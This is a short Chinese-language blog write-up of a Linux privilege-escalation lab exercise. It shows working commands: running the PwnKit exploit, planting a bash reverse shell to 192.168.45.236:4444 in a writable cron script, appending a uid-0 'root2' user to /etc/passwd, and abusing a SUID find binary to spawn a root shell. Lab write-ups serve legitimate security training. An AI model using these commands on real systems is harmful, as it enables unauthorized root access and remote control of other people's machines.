Linux 提權 Capstone Exercise

 Linux 提權 Capstone Exercise


Q2 :

透過下載這個 PwnKit https://github.com/ly4k/PwnKit,上傳到目標機

然後利用手動的方式執行如下




直接就提權拿到 root 與拿 flag





Q3 :

cat /var/log/cron.log 發現一直在跑一個 archiver

find / -type f -name archiver 2>/dev/null 路徑在 /etc/cron.hourly/archiver

ls -lah /etc/cron.hourly/archiver --> GG 沒權限



cat /etc/cron.hourly/archiver 看一下內容發現會去跑 /var/archives/archive.sh



ls -lah /var/archives/archive.sh --> 777 賓果

寫一行吧 bash -c "bash -i >& /dev/tcp/192.168.45.236/4444 0>&1"



4444 來了,whoami & id 確認是 root,直接拿答案吧







Q4 :

經過一番枚舉發現 /etc/passwd 有寫入的權限,那就標準作業

openssl passwd w00t --> 5RuYtykGkkWWc

寫入 root2 : echo "root2:5RuYtykGkkWWc:0:0:root:/root:/bin/bash" >> /etc/passwd

cat /etc/passwd 確認寫入 root2



su root2 輸入 w00t 看一下 whoami & id 拿 flag 吧








Q5 :

經過一番枚舉在查找特殊權限 s 的時候如下

find / -perm -u=s -type f 2>/dev/null



一個一個嘗試 SUID 後在 find 指令發現可以提權

./find . -exec /bin/sh -p \; -quit



whoami 確認一下是 root 後直接拿 flag





留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)